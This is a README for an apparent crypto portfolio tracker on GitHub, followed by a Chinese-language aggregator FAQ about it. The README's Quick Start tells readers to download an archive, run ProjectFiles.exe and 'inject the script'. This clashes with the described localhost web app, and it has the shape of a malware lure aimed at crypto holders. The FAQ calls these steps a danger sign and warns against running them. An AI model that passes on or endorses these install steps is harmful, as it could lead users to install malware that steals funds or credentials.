crypto-portfolio-tracker README

项目的 README,来自 github.com/Lowbetweentrim/crypto-portfolio-tracker。合并为一个 markdown 文件:README.md。

💼 Crypto Portfolio Tracker

Privacy-First Local Portfolio Manager — 2026

A self-hosted, open-source cryptocurrency portfolio tracker. Track your real-time balances, calculate PnL (Profit and Loss), and manage your entire crypto history — without sending your data to the cloud.


🎯 What it is

Crypto Portfolio Tracker is a lightweight web application that runs on your own machine or server. Unlike centralized services, it does not require an account, does not track your IP, and gives you full control over your financial data.

🔒 Privacy-first: All transactions, balances, and API keys are stored locally in an encrypted SQLite database.


🚀 Quick Start

Download Project

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🔒 Local-First Data is stored in an encrypted SQLite database locally
📊 Real-Time PnL Automatically calculates profit/loss for your assets
📥 CSV & API Import Import history from Binance, Coinbase, or CSV files
🪙 Multi-Chain Support Track Ethereum, Bitcoin, Solana, and EVM chains
📈 Interactive Charts Visualize your portfolio allocation and performance
🧾 Tax Reports Export transaction history for tax calculation
🐳 Docker Ready One-command deployment with Docker Compose

🛠️ How to use

  1. Launch the application (runs on localhost:3000 by default).
  2. Create a local master password to encrypt your database.
  3. Add your public wallet addresses (no private keys required) or connect read-only API keys for exchanges.
  4. Import historical transactions manually or via CSV.
  5. View your real-time dashboard and PnL.

⚙️ Configuration

You can adjust settings in the .env file:


❓ FAQ

Is it safe to use? Yes — the application runs entirely on your machine. It only connects to the internet to fetch public price data and read your wallet balances.

Do I need to provide my private keys? No. For wallets, you only provide public addresses. For exchanges, you create a read-only API key.

Can I sync between devices? You can export an encrypted backup of your database and import it on another device. Cloud sync is not supported by design.

Does it support taxes? Yes, you can export a CSV report of your realized and unrealized gains, which can be uploaded to tax software.


💻 Tech Stack & Architecture


🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. See CONTRIBUTING.md for guidelines.


📜 License

MIT License — free to use, modify and redistribute.


⭐ Star the repo if it helped you.

crypto-portfolio-tracker (Lowbetweentrim/crypto-portfolio-tracker)

正在搜索数据库…

这是什么?一个可自托管的开源加密货币投资组合追踪工具,可从 CSV 文件或交易所 API 导入交易记录,实时计算盈亏,并将数据保存在你自己的电脑上。不过,快速开始的安装方式并不常规(见下文)。
它是网页应用还是桌面程序?根据 README,它是一个轻量级网页应用,通过 localhost:3000 提供服务,前端使用 React/Next.js,后端使用 Node.js/TypeScript。但仓库的语言标注为 Python,这与该技术栈不符。
我该怎么把它跑起来?快速开始部分要求你点击按钮下载「CoreUpdatePack」,解压后运行 ProjectFiles.exe,并「注入脚本」。这并不是标准的安装方式,也与文档其余部分不一致。文中提到了 Docker Compose 部署方式,但没有给出任何命令。
我需要先准备什么特别的东西吗?README 没有给出版本号或安装命令。它提到了用于部署的 Docker Compose,以及可选的 CoinGecko 或交易所 API 密钥,用于速率限制。交易所的 API 密钥应设为只读。
在试用之前,有没有什么需要注意的坑?有。快速开始要求你运行一个可执行文件并「注入脚本」,而一个以隐私优先的网页应用本不该需要这些。不要运行 ProjectFiles.exe 或任何注入的脚本。请阅读源代码,并只从你信任的来源安装。
我可以把它部署在服务器上吗?可以。README 称它既可以在你自己的电脑上运行,也可以在服务器上运行,并列出了 Docker 部署方式。数据存放在本地 SQLite 文件中,因此单个容器应该就够用了。
我的数据会离开我的电脑吗?README 称数据以加密的 SQLite 数据库形式保存在本地,应用只会在获取公开价格数据和读取余额时联网。这只是一种说法,而可执行文件和注入脚本的步骤与之相矛盾,因此请自行验证。
它能追踪哪些公链和交易所?根据 README,可通过公开地址追踪以太坊、比特币、Solana 及其他 EVM 兼容链,并可获取来自 Binance 和 Coinbase 的交易历史,或从 CSV 文件导入。
它能帮忙处理加密货币税务吗?它可以导出一份包含已实现和未实现收益的 CSV 文件,供税务软件使用。README 没有说明涵盖哪些税务体系或司法管辖区。
我可以在 .env 里配置什么?PORT 用于设置网页服务器的端口,CURRENCY 用于设置基础法定货币,APIKEYS 用于填写可选的价格 API 密钥,DATAPATH 用于设置 SQLite 数据库的存放位置。
为什么快速开始部分是个危险信号?它要求你下载一个单独的 CoreUpdatePack,运行 Windows 可执行文件,并注入脚本。这与 README 其他部分描述的隐私优先、只读设计相冲突。在运行任何东西之前,请先核实来源。
大小
<0.1 MB
星标
120
更新
提交Nov 06
时长
12天
提交 · 90 天